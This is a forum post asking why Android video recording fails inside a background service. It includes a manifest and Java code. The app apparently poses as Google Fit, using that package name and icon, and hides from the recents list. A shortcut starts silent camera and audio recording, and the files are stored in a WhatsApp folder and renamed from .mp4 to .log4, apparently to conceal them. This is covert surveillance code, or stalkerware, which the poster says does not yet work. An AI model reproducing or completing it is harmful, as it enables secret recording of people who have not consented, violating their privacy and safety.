[Android Software Development] ageofempires:
Hallo,

i would to like to record a movie in a Service but it faild and I have no idea.

Thank you for help.

Manifest File

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="de.mm.googlefit">

<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera" />
<uses-feature android:name="android.hardware.camera.autofocus" />

<application
android:allowBackup="true"
android:icon="@mipmap/google_fit"
android:label="@string/app_name"
android:supportsRtl="true">
<activity android:name=".MainActivity"
android:screenOrientation="portrait"
android:excludeFromRecents="true"
android:theme="@android:style/Theme.NoTitleBar.Fullscreen">

<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<activity android:name=".StartService"
android:screenOrientation="portrait"
android:excludeFromRecents="true"
android:theme="@android:style/Theme.NoTitleBar.Fullscreen">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<service android:name=".CamcorderReciver" android:exported="false"/>
</application>

</manifest>

In the MainActivity I create a shortcut.

private void ShortcutIcon(){
Intent shortcutIntent = new Intent(getApplicationContext(), StartService.class);
shortcutIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
shortcutIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);

Intent addIntent = new Intent();
addIntent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
addIntent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Test");
addIntent.putExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE, Intent.ShortcutIconResource.fromContext(getApplicationContext(), R.mipmap.google_fit));
addIntent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
getApplicationContext().sendBroadcast(addIntent);
}

After I cklick on the shourtcout that will start this Activity and this start a Service.

public class StartService extends Activity{
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

Intent intent = new Intent(this, CamcorderReciver.class);
startService(intent);
finish();
}
}

This code start a Service and the Service start the MediaRecoder

public class CamcorderReciver extends Service {

private static final String TAG = "MediaService";

private boolean isRunning = false;

@Override
public void onCreate() {
Log.e(TAG, "Service onCreate");
isRunning = true;
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {

Log.e(TAG, "Service onStartCommand");

Thread thread = new Thread() {
@Override
public void run() {
try {
MediaRecorder.MediaRecoderStartStop();
} catch (Exception e) {
e.printStackTrace();
}
}
};

thread.start();

return Service.START_STICKY;
}

@Override
public IBinder onBind(Intent arg0) {
Log.e(TAG, "Service onBind");
return null;
}

@Override
public void onDestroy() {

isRunning = false;
Log.e(TAG, "Service onDestroy");
}
}

This Class would be like to record the movie but it failed on the mediaRecorder.start() Methode.

public class MediaRecorder {

private static Camera myCamera;
private static android.media.MediaRecorder mediaRecorder;
private static String filenameDate =null;
private static boolean recording;

public static void MediaRecoderStartStop(){
Log.e("MediaRecoderStartStop", "STARTET");
if(recording){
try {
Log.e("IF", "IF");
mediaRecorder.stop();
releaseMediaRecorder();
recording = false;
if (filenameDate != null) {
File file = new File(Environment.getExternalStorageDirectory() + "/WhatsApp/Archiv/" + filenameDate + ".mp4");
if (file.exists()) {
File file2 = new File(Environment.getExternalStorageDirectory() + "/WhatsApp/Archiv/" + filenameDate + ".log4");
file.renameTo(file2);
}
}
}
catch (Exception e){
Log.e("mediaRecorder.start()", e.getMessage());
}
}else{
try {
Log.e("ELSE", "ELSE");
releaseCamera();
Log.e("RELASE-F", "RELASE-F");
prepareMediaRecorder();
Log.e("PREP-F", "PREP-P");
mediaRecorder.start();
Log.e("START-P", "START-P");
}catch (Exception e){
Log.e("mediaRecorder.start()", Log.getStackTraceString(new Exception()));
}
recording = true;
}

}

private static void releaseMediaRecorder(){
if (mediaRecorder != null) {
mediaRecorder.reset();
mediaRecorder.release();
mediaRecorder = null;
// myCamera.lock();
}
}

private static boolean prepareMediaRecorder(){
try {
if(mediaRecorder == null)
mediaRecorder = new android.media.MediaRecorder();

DateFormat df = new SimpleDateFormat("yyyy_MM_dd_HH_mm");
String date = df.format(Calendar.getInstance().getTime());
filenameDate = date;
if(myCamera == null) {
myCamera = Camera.open();
Camera.Parameters parameters = myCamera.getParameters();
parameters.setFocusMode(Camera.Parameters.FOCUS_MODE_CONTINUOUS_VIDEO);
myCamera.setParameters(parameters);
myCamera.setDisplayOrientation(90);
myCamera.unlock();
}

mediaRecorder.setCamera(myCamera);
mediaRecorder.setOrientationHint(90);
mediaRecorder.setAudioSource(android.media.MediaRecorder.AudioSource.CAMCORDER);
mediaRecorder.setVideoSource(android.media.MediaRecorder.VideoSource.CAMERA);
mediaRecorder.setOutputFormat(android.media.MediaRecorder.OutputFormat.MPEG_4);

mediaRecorder.setVideoSize(1280, 720);
mediaRecorder.setVideoFrameRate(60);

mediaRecorder.setVideoEncoder(android.media.MediaRecorder.VideoEncoder.H264);
mediaRecorder.setVideoEncodingBitRate(3000000);

mediaRecorder.setAudioEncoder(android.media.MediaRecorder.AudioEncoder.AMR_NB);
mediaRecorder.setOutputFile(Environment.getExternalStorageDirectory() + "/WhatsApp/Archiv/"+date+".mp4");

}
catch (Exception e ){
Log.e("prepareMediaRecorder",""+ e.getMessage());
e.printStackTrace();
}

try {
mediaRecorder.prepare();
}
catch (Exception e ){
Log.e("mediaRecorder.prepare()", e.getMessage());
}
return true;
}

private static void releaseCamera(){

if (myCamera != null){
myCamera.release();
myCamera = null;
}
}
}